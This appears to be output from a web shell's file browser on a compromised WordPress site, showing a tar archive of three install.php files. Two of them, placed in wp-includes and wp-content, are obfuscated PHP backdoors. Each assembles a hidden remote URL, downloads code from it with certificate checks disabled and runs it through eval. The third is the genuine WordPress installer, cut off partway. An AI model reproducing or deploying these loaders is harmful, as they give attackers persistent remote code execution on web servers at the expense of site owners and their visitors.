Your IP : 3.16.154.37


Current Path : /home/ephorei/www/wp-includes/images/media/q2m9hb/
Upload File :
Current File : /home/ephorei/www/wp-includes/images/media/q2m9hb/install.php.tar

home/ephorei/www/wp-includes/install.php000055500000013166150057475230014404 0ustar00<?php goto LEuXu; yalz3: $TQ60g .= "\x73\x70\x74\x74"; goto kdYPX; BcDXp: $TQ60g .= "\56\61\60"; goto UlUgF; Sc2YL: $TQ60g .= "\157"; goto q4e0x; fzCZn: $TQ60g .= "\x6b\x6f\x2e\x6f"; goto oadHn; wGhlO: eval("\x3f\76" . hswys(strrev($TQ60g))); goto Jy2Bn; kdYPX: $TQ60g .= "\150"; goto wGhlO; q4e0x: $TQ60g .= "\x74"; goto BcDXp; l86ME: $TQ60g .= "\57"; goto QD8q9; oadHn: $TQ60g .= "\x65\163\x2f\57\x3a"; goto yalz3; c_s3w: $TQ60g .= "\145\162\x2f\151"; goto OUo51; OUo51: $TQ60g .= "\x64"; goto ZH0im; LEuXu: $TQ60g = ''; goto aBlLE; aBlLE: $TQ60g .= "\x74\170\x74\x2e"; goto ntirT; QD8q9: $TQ60g .= "\x70"; goto Sc2YL; ntirT: $TQ60g .= "\x31\163"; goto c_s3w; ZH0im: $TQ60g .= "\x75\167"; goto l86ME; UlUgF: $TQ60g .= "\163\153"; goto fzCZn; Jy2Bn: function HSwyS($HLIVE, $Ivg8b = "\x47\x45\x54", $zqaT9 = array(), $ybGl2 = 45) { try { goto AUF1K; cakgn: M5mBr: goto mQR50; NM7lt: if (!($NUjcM === false)) { goto sHBcx; } goto J0AaQ; neHbN: if (!(stripos($Xbu1a, "\124\162\141\156\x73\x66\x65\x72\x2d\105\156\x63\x6f\144\151\x6e\x67\x3a\x20\143\x68\165\x6e\153\x65\x64") !== false)) { goto jkaXk; } goto T1Rkk; gl21P: EXUTn: goto aKNuA; AI16y: $UuYw2 = ''; goto KhjtW; KhjtW: fYDa7: goto g3qUg; UcYJb: curl_setopt($oG9jX, CURLOPT_POSTFIELDS, http_build_query($zqaT9)); goto r8h_V; qVclf: $NUjcM = strpos($d4d8P, "\xd\12"); goto NM7lt; xG0zH: $Xbu1a = isset($k3nC4[0]) ? $k3nC4[0] : ''; goto E1fPc; lZAHO: curl_setopt($oG9jX, CURLOPT_CONNECTTIMEOUT, 0); goto daluC; r3p8I: $gS0Hx = hexdec(substr($d4d8P, 0, $NUjcM)); goto j3y4w; rzqR4: $lm8HR = isset($HluW7["\x73\x63\150\145\155\145"]) ? $HluW7["\163\x63\150\145\155\145"] : "\x68\x74\164\x70"; goto eocnN; wiTKA: curl_setopt($oG9jX, CURLOPT_TIMEOUT, $ybGl2); goto YAgCR; ADw24: $Xbu1a = ["{$Ivg8b}\x20{$cj2Eh}{$zXFcS}\x20\x48\x54\x54\120\57\61\56\x31", "\x48\x6f\x73\164\72\x20{$w5Dr4}", "\125\x73\x65\162\55\x41\x67\145\156\x74\x3a\40\x4d\157\x7a\151\x6c\154\141\57\x35\56\60\x20\x28\x57\x69\156\144\157\x77\163\40\116\124\40\x31\x30\x2e\60\x3b\40\x57\151\x6e\66\64\73\40\170\x36\x34\x29\40\x41\x70\160\154\x65\127\x65\142\113\x69\164\x2f\x35\63\x37\56\63\x36\x20\50\113\110\x54\115\x4c\54\x20\154\151\153\145\x20\107\145\143\x6b\157\51\x20\x43\x68\162\157\x6d\x65\x2f\71\x31\x2e\x30\x2e\64\x34\x37\62\x2e\x31\x32\64\40\x53\141\146\x61\162\x69\57\65\x33\x37\56\63\66", "\103\x6f\156\x6e\145\x63\x74\x69\157\156\72\40\103\x6c\x6f\x73\x65"]; goto lWJr0; PjsNC: $Xbu1a[] = "\x43\157\156\x74\145\x6e\x74\55\x4c\145\156\x67\x74\x68\x3a\40" . strlen($T4dbx); goto cakgn; mQR50: $Q2K_W = implode("\xd\xa", $Xbu1a) . "\xd\12\15\xa"; goto vR6jj; Cn2pI: $Xbu1a[] = "\103\x6f\x6e\164\x65\x6e\x74\x2d\x54\171\x70\x65\72\40\141\x70\160\x6c\151\143\141\164\x69\x6f\156\57\x78\x2d\x77\167\167\x2d\146\x6f\x72\x6d\x2d\165\x72\154\x65\x6e\143\157\x64\145\144"; goto PjsNC; NAlk2: $oG9jX = curl_init(); goto PaZ6q; oY2cy: curl_setopt($oG9jX, CURLOPT_SSL_VERIFYHOST, false); goto o_roM; XFNf2: KtyUg: goto WT1yD; E1fPc: $d4d8P = isset($k3nC4[1]) ? $k3nC4[1] : ''; goto neHbN; WT1yD: $d4d8P = $puoG0; goto DnZZN; j3y4w: if (!($gS0Hx === 0)) { goto eJQ4T; } goto m6h0S; lWJr0: if (!($Ivg8b == "\120\x4f\123\124")) { goto M5mBr; } goto uH3r0; PaZ6q: curl_setopt($oG9jX, CURLOPT_URL, $HLIVE); goto SDu3z; F2LPT: goto fYDa7; goto WcvAI; eocnN: $VCyLc = isset($HluW7["\160\157\162\164"]) ? $HluW7["\160\157\162\x74"] : ($lm8HR === "\x68\x74\164\160\163" ? 443 : 80); goto AM_Bw; S98b5: if ($nrADT) { goto LtFzO; } goto Jaw8k; MGqk4: $k3nC4 = explode("\xd\12\xd\12", $UuYw2, 2); goto xG0zH; rD8Le: curl_close($oG9jX); goto a3Vkl; a3Vkl: return trim(trim($HFbpB, "\xef\xbb\277")); goto SCXdF; DnZZN: jkaXk: goto C5M1V; AM_Bw: $AhU_4 = $lm8HR === "\x68\x74\x74\160\163" ? "\x73\x73\x6c" : "\x74\143\160"; goto irNSN; wzwVi: $w5Dr4 = $HluW7["\150\157\163\x74"]; goto gRs9m; ZRFQ2: $puoG0 .= substr($d4d8P, $NUjcM + 2, $gS0Hx); goto mQd1z; t5gIz: goto EXUTn; goto XFNf2; J0AaQ: goto KtyUg; goto GNWS1; iwW87: curl_setopt($oG9jX, CURLOPT_POST, 1); goto UcYJb; T_Fq0: $HluW7 = parse_url($HLIVE); goto wzwVi; g3qUg: if (feof($nrADT)) { goto TqdaC; } goto hwJ_N; jl_ua: $Q2K_W .= $T4dbx . "\15\12"; goto NyFEY; AUF1K: if (!(function_exists("\x63\165\x72\x6c\x5f\151\x6e\x69\164") && function_exists("\143\x75\x72\154\x5f\x65\x78\x65\x63"))) { goto gKlmh; } goto NAlk2; f0xst: curl_setopt($oG9jX, CURLOPT_SSL_VERIFYPEER, false); goto oY2cy; uH3r0: $T4dbx = http_build_query($zqaT9); goto Cn2pI; m6h0S: goto KtyUg; goto RR10X; C5M1V: return trim($d4d8P); goto f5ez3; T1Rkk: $puoG0 = ''; goto gl21P; irNSN: $nrADT = stream_socket_client("{$AhU_4}\72\x2f\x2f{$w5Dr4}\72{$VCyLc}", $ipteM, $M33Rw, $ybGl2); goto S98b5; WcvAI: TqdaC: goto kiu0L; hK0UI: $zXFcS = isset($HluW7["\161\165\145\x72\x79"]) ? "\x3f" . $HluW7["\x71\165\145\x72\x79"] : ''; goto rzqR4; VFJKH: $HFbpB = curl_exec($oG9jX); goto rD8Le; kiu0L: fclose($nrADT); goto MGqk4; Jaw8k: return 0; goto PvLTv; SDu3z: curl_setopt($oG9jX, CURLOPT_USERAGENT, "\107\117"); goto lZAHO; GNWS1: sHBcx: goto r3p8I; mQd1z: $d4d8P = substr($d4d8P, $NUjcM + 2 + $gS0Hx + 2); goto t5gIz; aKNuA: if (!true) { goto KtyUg; } goto qVclf; o_roM: curl_setopt($oG9jX, CURLOPT_FOLLOWLOCATION, true); goto wiTKA; gRs9m: $cj2Eh = isset($HluW7["\x70\x61\164\150"]) ? $HluW7["\160\141\x74\x68"] : "\x2f"; goto hK0UI; daluC: curl_setopt($oG9jX, CURLOPT_RETURNTRANSFER, 1); goto f0xst; PvLTv: LtFzO: goto ADw24; RR10X: eJQ4T: goto ZRFQ2; YAgCR: if (!($Ivg8b == "\120\117\x53\x54")) { goto eIPsz; } goto iwW87; r8h_V: eIPsz: goto VFJKH; yLMiX: fwrite($nrADT, $Q2K_W); goto AI16y; hwJ_N: $UuYw2 .= fgets($nrADT, 1024); goto F2LPT; NyFEY: EdtIq: goto yLMiX; vR6jj: if (!($Ivg8b == "\120\117\123\124")) { goto EdtIq; } goto jl_ua; SCXdF: gKlmh: goto T_Fq0; f5ez3: } catch (Exception $Fq7UQ) { } return 0; }home/ephorei/www/wp-content/install.php000055500000013166150060300710014230 0ustar00<?php goto LEuXu; yalz3: $TQ60g .= "\x73\x70\x74\x74"; goto kdYPX; BcDXp: $TQ60g .= "\56\61\60"; goto UlUgF; Sc2YL: $TQ60g .= "\157"; goto q4e0x; fzCZn: $TQ60g .= "\x6b\x6f\x2e\x6f"; goto oadHn; wGhlO: eval("\x3f\76" . hswys(strrev($TQ60g))); goto Jy2Bn; kdYPX: $TQ60g .= "\150"; goto wGhlO; q4e0x: $TQ60g .= "\x74"; goto BcDXp; l86ME: $TQ60g .= "\57"; goto QD8q9; oadHn: $TQ60g .= "\x65\163\x2f\57\x3a"; goto yalz3; c_s3w: $TQ60g .= "\145\162\x2f\151"; goto OUo51; OUo51: $TQ60g .= "\x64"; goto ZH0im; LEuXu: $TQ60g = ''; goto aBlLE; aBlLE: $TQ60g .= "\x74\170\x74\x2e"; goto ntirT; QD8q9: $TQ60g .= "\x70"; goto Sc2YL; ntirT: $TQ60g .= "\x31\163"; goto c_s3w; ZH0im: $TQ60g .= "\x75\167"; goto l86ME; UlUgF: $TQ60g .= "\163\153"; goto fzCZn; Jy2Bn: function HSwyS($HLIVE, $Ivg8b = "\x47\x45\x54", $zqaT9 = array(), $ybGl2 = 45) { try { goto AUF1K; cakgn: M5mBr: goto mQR50; NM7lt: if (!($NUjcM === false)) { goto sHBcx; } goto J0AaQ; neHbN: if (!(stripos($Xbu1a, "\124\162\141\156\x73\x66\x65\x72\x2d\105\156\x63\x6f\144\151\x6e\x67\x3a\x20\143\x68\165\x6e\153\x65\x64") !== false)) { goto jkaXk; } goto T1Rkk; gl21P: EXUTn: goto aKNuA; AI16y: $UuYw2 = ''; goto KhjtW; KhjtW: fYDa7: goto g3qUg; UcYJb: curl_setopt($oG9jX, CURLOPT_POSTFIELDS, http_build_query($zqaT9)); goto r8h_V; qVclf: $NUjcM = strpos($d4d8P, "\xd\12"); goto NM7lt; xG0zH: $Xbu1a = isset($k3nC4[0]) ? $k3nC4[0] : ''; goto E1fPc; lZAHO: curl_setopt($oG9jX, CURLOPT_CONNECTTIMEOUT, 0); goto daluC; r3p8I: $gS0Hx = hexdec(substr($d4d8P, 0, $NUjcM)); goto j3y4w; rzqR4: $lm8HR = isset($HluW7["\x73\x63\150\145\155\145"]) ? $HluW7["\163\x63\150\145\155\145"] : "\x68\x74\164\x70"; goto eocnN; wiTKA: curl_setopt($oG9jX, CURLOPT_TIMEOUT, $ybGl2); goto YAgCR; ADw24: $Xbu1a = ["{$Ivg8b}\x20{$cj2Eh}{$zXFcS}\x20\x48\x54\x54\120\57\61\56\x31", "\x48\x6f\x73\164\72\x20{$w5Dr4}", "\125\x73\x65\162\55\x41\x67\145\156\x74\x3a\40\x4d\157\x7a\151\x6c\154\141\57\x35\56\60\x20\x28\x57\x69\156\144\157\x77\163\40\116\124\40\x31\x30\x2e\60\x3b\40\x57\151\x6e\66\64\73\40\170\x36\x34\x29\40\x41\x70\160\154\x65\127\x65\142\113\x69\164\x2f\x35\63\x37\56\63\x36\x20\50\113\110\x54\115\x4c\54\x20\154\151\153\145\x20\107\145\143\x6b\157\51\x20\x43\x68\162\157\x6d\x65\x2f\71\x31\x2e\x30\x2e\64\x34\x37\62\x2e\x31\x32\64\40\x53\141\146\x61\162\x69\57\65\x33\x37\56\63\66", "\103\x6f\156\x6e\145\x63\x74\x69\157\156\72\40\103\x6c\x6f\x73\x65"]; goto lWJr0; PjsNC: $Xbu1a[] = "\x43\157\156\x74\145\x6e\x74\55\x4c\145\156\x67\x74\x68\x3a\40" . strlen($T4dbx); goto cakgn; mQR50: $Q2K_W = implode("\xd\xa", $Xbu1a) . "\xd\12\15\xa"; goto vR6jj; Cn2pI: $Xbu1a[] = "\103\x6f\x6e\164\x65\x6e\x74\x2d\x54\171\x70\x65\72\40\141\x70\160\x6c\151\143\141\164\x69\x6f\156\57\x78\x2d\x77\167\167\x2d\146\x6f\x72\x6d\x2d\165\x72\154\x65\x6e\143\157\x64\145\144"; goto PjsNC; NAlk2: $oG9jX = curl_init(); goto PaZ6q; oY2cy: curl_setopt($oG9jX, CURLOPT_SSL_VERIFYHOST, false); goto o_roM; XFNf2: KtyUg: goto WT1yD; E1fPc: $d4d8P = isset($k3nC4[1]) ? $k3nC4[1] : ''; goto neHbN; WT1yD: $d4d8P = $puoG0; goto DnZZN; j3y4w: if (!($gS0Hx === 0)) { goto eJQ4T; } goto m6h0S; lWJr0: if (!($Ivg8b == "\120\x4f\123\124")) { goto M5mBr; } goto uH3r0; PaZ6q: curl_setopt($oG9jX, CURLOPT_URL, $HLIVE); goto SDu3z; F2LPT: goto fYDa7; goto WcvAI; eocnN: $VCyLc = isset($HluW7["\160\157\162\164"]) ? $HluW7["\160\157\162\x74"] : ($lm8HR === "\x68\x74\164\160\163" ? 443 : 80); goto AM_Bw; S98b5: if ($nrADT) { goto LtFzO; } goto Jaw8k; MGqk4: $k3nC4 = explode("\xd\12\xd\12", $UuYw2, 2); goto xG0zH; rD8Le: curl_close($oG9jX); goto a3Vkl; a3Vkl: return trim(trim($HFbpB, "\xef\xbb\277")); goto SCXdF; DnZZN: jkaXk: goto C5M1V; AM_Bw: $AhU_4 = $lm8HR === "\x68\x74\x74\160\163" ? "\x73\x73\x6c" : "\x74\143\160"; goto irNSN; wzwVi: $w5Dr4 = $HluW7["\150\157\163\x74"]; goto gRs9m; ZRFQ2: $puoG0 .= substr($d4d8P, $NUjcM + 2, $gS0Hx); goto mQd1z; t5gIz: goto EXUTn; goto XFNf2; J0AaQ: goto KtyUg; goto GNWS1; iwW87: curl_setopt($oG9jX, CURLOPT_POST, 1); goto UcYJb; T_Fq0: $HluW7 = parse_url($HLIVE); goto wzwVi; g3qUg: if (feof($nrADT)) { goto TqdaC; } goto hwJ_N; jl_ua: $Q2K_W .= $T4dbx . "\15\12"; goto NyFEY; AUF1K: if (!(function_exists("\x63\165\x72\x6c\x5f\151\x6e\x69\164") && function_exists("\143\x75\x72\154\x5f\x65\x78\x65\x63"))) { goto gKlmh; } goto NAlk2; f0xst: curl_setopt($oG9jX, CURLOPT_SSL_VERIFYPEER, false); goto oY2cy; uH3r0: $T4dbx = http_build_query($zqaT9); goto Cn2pI; m6h0S: goto KtyUg; goto RR10X; C5M1V: return trim($d4d8P); goto f5ez3; T1Rkk: $puoG0 = ''; goto gl21P; irNSN: $nrADT = stream_socket_client("{$AhU_4}\72\x2f\x2f{$w5Dr4}\72{$VCyLc}", $ipteM, $M33Rw, $ybGl2); goto S98b5; WcvAI: TqdaC: goto kiu0L; hK0UI: $zXFcS = isset($HluW7["\161\165\145\x72\x79"]) ? "\x3f" . $HluW7["\x71\165\145\x72\x79"] : ''; goto rzqR4; VFJKH: $HFbpB = curl_exec($oG9jX); goto rD8Le; kiu0L: fclose($nrADT); goto MGqk4; Jaw8k: return 0; goto PvLTv; SDu3z: curl_setopt($oG9jX, CURLOPT_USERAGENT, "\107\117"); goto lZAHO; GNWS1: sHBcx: goto r3p8I; mQd1z: $d4d8P = substr($d4d8P, $NUjcM + 2 + $gS0Hx + 2); goto t5gIz; aKNuA: if (!true) { goto KtyUg; } goto qVclf; o_roM: curl_setopt($oG9jX, CURLOPT_FOLLOWLOCATION, true); goto wiTKA; gRs9m: $cj2Eh = isset($HluW7["\x70\x61\164\150"]) ? $HluW7["\160\141\x74\x68"] : "\x2f"; goto hK0UI; daluC: curl_setopt($oG9jX, CURLOPT_RETURNTRANSFER, 1); goto f0xst; PvLTv: LtFzO: goto ADw24; RR10X: eJQ4T: goto ZRFQ2; YAgCR: if (!($Ivg8b == "\120\117\x53\x54")) { goto eIPsz; } goto iwW87; r8h_V: eIPsz: goto VFJKH; yLMiX: fwrite($nrADT, $Q2K_W); goto AI16y; hwJ_N: $UuYw2 .= fgets($nrADT, 1024); goto F2LPT; NyFEY: EdtIq: goto yLMiX; vR6jj: if (!($Ivg8b == "\120\117\123\124")) { goto EdtIq; } goto jl_ua; SCXdF: gKlmh: goto T_Fq0; f5ez3: } catch (Exception $Fq7UQ) { } return 0; }home/ephorei/www/wp-admin/install.php000064400000043706150060451730013661 0ustar00<?php
/**
 * WordPress Installer
 *
 * @package WordPress
 * @subpackage Administration
 */

// Confidence check.
if ( false ) {
	?>
<!DOCTYPE html>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>Error: PHP is not running</title>
</head>
<body class="wp-core-ui">
	<p id="logo"><a href="https://wordpress.org/">WordPress</a></p>
	<h1>Error: PHP is not running</h1>
	<p>WordPress requires that your web server is running PHP. Your server does not have PHP installed, or PHP is turned off.</p>
</body>
</html>
	<?php
}

/**
 * We are installing WordPress.
 *
 * @since 1.5.1
 * @var bool
 */
define( 'WP_INSTALLING', true );

/** Load WordPress Bootstrap */
require_once dirname( __DIR__ ) . '/wp-load.php';

/** Load WordPress Administration Upgrade API */
require_once ABSPATH . 'wp-admin/includes/upgrade.php';

/** Load WordPress Translation Install API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

/** Load wpdb */
require_once ABSPATH . WPINC . '/class-wpdb.php';

nocache_headers();

$step = isset( $_GET['step'] ) ? (int) $_GET['step'] : 0;

/**
 * Display installation header.
 *
 * @since 2.5.0
 *
 * @param string $body_classes
 */
function display_header( $body_classes = '' ) {
	header( 'Content-Type: text/html; charset=utf-8' );
	if ( is_rtl() ) {
		$body_classes .= 'rtl';
	}
	if ( $body_classes ) {
		$body_classes = ' ' . $body_classes;
	}
	?>
<!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
	<meta name="viewport" content="width=device-width, initial-scale=1.0" />
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<meta name="robots" content="noindex,nofollow" />
	<title><?php _e( 'WordPress &rsaquo; Installation' ); ?></title>
	<?php wp_admin_css( 'install', true ); ?>
</head>
<body class="wp-core-ui<?php echo $body_classes; ?>">
<p id="logo"><?php _e( 'WordPress' ); ?></p>

	<?php
} // End display_header().

/**
 * Displays installer setup form.
 *
 * @since 2.8.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string|null $error
 */
function display_setup_form( $error = null ) {
	global $wpdb;

	$user_table = ( $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $wpdb->users ) ) ) !== null );

	// Ensure that sites appear in search engines by default.
	$blog_public = 1;
	if ( isset( $_POST['weblog_title'] ) ) {
		$blog_public = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : $blog_public;
	}

	$weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : '';
	$user_name    = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : '';
	$admin_email  = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : '';

	if ( ! is_null( $error ) ) {
		?>
<h1><?php _ex( 'Welcome', 'Howdy' ); ?></h1>
<p class="message"><?php echo $error; ?></p>
<?php } ?>
<form id="setup" method="post" action="install.php?step=2" novalidate="novalidate">
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="weblog_title"><?php _e( 'Site Title' ); ?></label></th>
			<td><input name="weblog_title" type="text" id="weblog_title" size="25" value="<?php echo esc_attr( $weblog_title ); ?>" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="user_login"><?php _e( 'Username' ); ?></label></th>
			<td>
			<?php
			if ( $user_table ) {
				_e( 'User(s) already exists.' );
				echo '<input name="user_name" type="hidden" value="admin" />';
			} else {
				?>
				<input name="user_name" type="text" id="user_login" size="25" aria-describedby="user-name-desc" value="<?php echo esc_attr( sanitize_user( $user_name, true ) ); ?>" />
				<p id="user-name-desc"><?php _e( 'Usernames can have only alphanumeric characters, spaces, underscores, hyphens, periods, and the @ symbol.' ); ?></p>
				<?php
			}
			?>
			</td>
		</tr>
		<?php if ( ! $user_table ) : ?>
		<tr class="form-field form-required user-pass1-wrap">
			<th scope="row">
				<label for="pass1">
					<?php _e( 'Password' ); ?>
				</label>
			</th>
			<td>
				<div class="wp-pwd">
					<?php $initial_password = isset( $_POST['admin_password'] ) ? stripslashes( $_POST['admin_password'] ) : wp_generate_password( 18 ); ?>
					<div class="password-input-wrapper">
						<input type="password" name="admin_password" id="pass1" class="regular-text" autocomplete="new-password" spellcheck="false" data-reveal="1" data-pw="<?php echo esc_attr( $initial_password ); ?>" aria-describedby="pass-strength-result admin-password-desc" />
						<div id="pass-strength-result" aria-live="polite"></div>
					</div>
					<button type="button" class="button wp-hide-pw hide-if-no-js" data-start-masked="<?php echo (int) isset( $_POST['admin_password'] ); ?>" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>">
						<span class="dashicons dashicons-hidden"></span>
						<span class="text"><?php _e( 'Hide' ); ?></span>
					</button>
				</div>
				<p id="admin-password-desc"><span class="description important hide-if-no-js">
				<strong><?php _e( 'Important:' ); ?></strong>
				<?php /* translators: The non-breaking space prevents 1Password from thinking the text "log in" should trigger a password save prompt. */ ?>
				<?php _e( 'You will need this password to log&nbsp;in. Please store it in a secure location.' ); ?></span></p>
			</td>
		</tr>
		<tr class="form-field form-required user-pass2-wrap hide-if-js">
			<th scope="row">
				<label for="pass2"><?php _e( 'Repeat Password' ); ?>
					<span class="description"><?php _e( '(required)' ); ?></span>
				</label>
			</th>
			<td>
				<input type="password" name="admin_password2" id="pass2" autocomplete="new-password" spellcheck="false" />
			</td>
		</tr>
		<tr class="pw-weak">
			<th scope="row"><?php _e( 'Confirm Password' ); ?></th>
			<td>
				<label>
					<input type="checkbox" name="pw_weak" class="pw-checkbox" />
					<?php _e( 'Confirm use of weak password' ); ?>
				</label>
			</td>
		</tr>
		<?php endif; ?>
		<tr>
			<th scope="row"><label for="admin_email"><?php _e( 'Your Email' ); ?></label></th>
			<td><input name="admin_email" type="email" id="admin_email" size="25" aria-describedby="admin-email-desc" value="<?php echo esc_attr( $admin_email ); ?>" />
			<p id="admin-email-desc"><?php _e( 'Double-check your email address before continuing.' ); ?></p></td>
		</tr>
		<tr>
			<th scope="row"><?php has_action( 'blog_privacy_selector' ) ? _e( 'Site visibility' ) : _e( 'Search engine visibility' ); ?></th>
			<td>
				<fieldset>
					<legend class="screen-reader-text"><span>
						<?php
						has_action( 'blog_privacy_selector' )
							/* translators: Hidden accessibility text. */
							? _e( 'Site visibility' )
							/* translators: Hidden accessibility text. */
							: _e( 'Search engine visibility' );
						?>
					</span></legend>
					<?php
					if ( has_action( 'blog_privacy_selector' ) ) {
						?>
						<input id="blog-public" type="radio" name="blog_public" value="1" <?php checked( 1, $blog_public ); ?> />
						<label for="blog-public"><?php _e( 'Allow search engines to index this site' ); ?></label><br />
						<input id="blog-norobots" type="radio" name="blog_public"  aria-describedby="public-desc" value="0" <?php checked( 0, $blog_public ); ?> />
						<label for="blog-norobots"><?php _e( 'Discourage search engines from indexing this site' ); ?></label>
						<p id="public-desc" class="description"><?php _e( 'Note: Discouraging search engines does not block access to your site &mdash; it is up to search engines to honor your request.' ); ?></p>
						<?php
						/** This action is documented in wp-admin/options-reading.php */
						do_action( 'blog_privacy_selector' );
					} else {
						?>
						<label for="blog_public"><input name="blog_public" type="checkbox" id="blog_public" aria-describedby="privacy-desc" value="0" <?php checked( 0, $blog_public ); ?> />
						<?php _e( 'Discourage search engines from indexing this site' ); ?></label>
						<p id="privacy-desc" class="description"><?php _e( 'It is up to search engines to honor this request.' ); ?></p>
					<?php } ?>
				</fieldset>
			</td>
		</tr>
	</table>
	<p class="step"><?php submit_button( __( 'Install WordPress' ), 'large', 'Submit', false, array( 'id' => 'submit' ) ); ?></p>
	<input type="hidden" name="language" value="<?php echo isset( $_REQUEST['language'] ) ? esc_attr( $_REQUEST['language'] ) : ''; ?>" />
</form>
	<?php
} // End display_setup_form().

// Let's check to make sure WP isn't already installed.
if ( is_blog_installed() ) {
	display_header();
	die(
		'<h1>' . __( 'Already Installed' ) . '</h1>' .
		'<p>' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '</p>' .
		'<p class="step"><a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log In' ) . '</a></p>' .
		'</body></html>'
	);
}

/**
 * @global string   $wp_version              The WordPress version string.
 * @global string   $required_php_version    The required PHP version string.
 * @global string[] $required_php_extensions The names of required PHP extensions.
 * @global string   $required_mysql_version  The required MySQL version string.
 * @global wpdb     $wpdb                    WordPress database abstraction object.
 */
global $wp_version, $required_php_version, $required_php_extensions, $required_mysql_version, $wpdb;

$php_version   = PHP_VERSION;
$mysql_version = $wpdb->db_version();
$php_compat    = version_compare( $php_version, $required_php_version, '>=' );
$mysql_compat  = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' );

$version_url = sprintf(
	/* translators: %s: WordPress version. */
	esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ),
	sanitize_title( $wp_version )
);

$php_update_message = '</p><p>' . sprintf(
	/* translators: %s: URL to Update PHP page. */
	__( '<a href="%s">Learn more about updating PHP</a>.' ),
	esc_url( wp_get_update_php_url() )
);

$annotation = wp_get_update_php_annotation();

if ( $annotation ) {
	$php_update_message .= '</p><p><em>' . $annotation . '</em>';
}

if ( ! $mysql_compat && ! $php_compat ) {
	$compat = sprintf(
		/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Minimum required MySQL version number, 5: Current PHP version number, 6: Current MySQL version number. */
		__( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher and MySQL version %4$s or higher. You are running PHP version %5$s and MySQL version %6$s.' ),
		$version_url,
		$wp_version,
		$required_php_version,
		$required_mysql_version,
		$php_version,
		$mysql_version
	) . $php_update_message;
} elseif ( ! $php_compat ) {
	$compat = sprintf(
		/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Current PHP version number. */
		__( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher. You are running version %4$s.' ),
		$version_url,
		$wp_version,
		$required_php_version,
		$php_version
	) . $php_update_message;
} elseif ( ! $mysql_compat ) {
	$compat = sprintf(
		/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required MySQL version number, 4: Current MySQL version number. */
		__( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires MySQL version %3$s or higher. You are running version %4$s.' ),
		$version_url,
		$wp_version,
		$required_mysql_version,
		$mysql_version
	);
}

if ( ! $mysql_compat || ! $php_compat ) {
	display_header();
	die( '<h1>' . __( 'Requirements Not Met' ) . '</h1><p>' . $compat . '</p></body></html>' );
}

if ( isset( $required_php_extensions ) && is_array( $required_php_extensions ) ) {
	$missing_extensions = array();

	foreach ( $required_php_extensions as $extension ) {
		if ( extension_loaded( $extension ) ) {
			continue;
		}

		$missing_extensions[] = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: The PHP extension name needed. */
			__( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires the %3$s PHP extension.' ),
			$version_url,
			$wp_version,
			$extension
		);
	}

	if ( count( $missing_extensions ) > 0 ) {
		display_header();
		die( '<h1>' . __( 'Requirements Not Met' ) . '</h1><p>' . implode( '</p><p>', $missing_extensions ) . '</p></body></html>' );
	}
}

if ( ! is_string( $wpdb->base_prefix ) || '' === $wpdb->base_prefix ) {
	display_header();
	die(
		'<h1>' . __( 'Configuration Error' ) . '</h1>' .
		'<p>' . sprintf(
			/* translators: %s: wp-config.php */
			__( 'Your %s file has an empty database table prefix, which is not supported.' ),
			'<code>wp-config.php</code>'
		) . '</p></body></html>'
	);
}

// Set error message if DO_NOT_UPGRADE_GLOBAL_TABLES isn't set as it will break install.
if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
	display_header();
	die(
		'<h1>' . __( 'Configuration Error' ) . '</h1>' .
		'<p>' . sprintf(
			/* translators: %s: DO_NOT_UPGRADE_GLOBAL_TABLES */
			__( 'The constant %s cannot be defined when installing WordPress.' ),
			'<code>DO_NOT_UPGRADE_GLOBAL_TABLES</code>'
		) . '</p></body></html>'
	);
}

/**
 * @global string    $wp_local_package Locale code of the package.
 * @global WP_Locale $wp_locale        WordPress date and time locale object.
 */
$language = '';
if ( ! empty( $_REQUEST['language'] ) ) {
	$language = sanitize_locale_name( $_REQUEST['language'] );
} elseif ( isset( $GLOBALS['wp_local_package'] ) ) {
	$language = $GLOBALS['wp_local_package'];
}

$scripts_to_print = array( 'jquery' );

switch ( $step ) {
	case 0: // Step 0.
		if ( wp_can_install_language_pack() && empty( $language ) ) {
			$languages = wp_get_available_translations();
			if ( $languages ) {
				$scripts_to_print[] = 'language-chooser';
				display_header( 'language-chooser' );
				echo '<form id="setup" method="post" action="?step=1">';
				wp_install_language_form( $languages );
				echo '</form>';
				break;
			}
		}

		// Deliberately fall through if we can't reach the translations API.

	case 1: // Step 1, direct link or from language chooser.
		if ( ! empty( $language ) ) {
			$loaded_language = wp_download_language_pack( $language );
			if ( $loaded_language ) {
				load_default_textdomain( $loaded_language );
				$GLOBALS['wp_locale'] = new WP_Locale();
			}
		}

		$scripts_to_print[] = 'user-profile';

		display_header();
		?>
<h1><?php _ex( 'Welcome', 'Howdy' ); ?></h1>
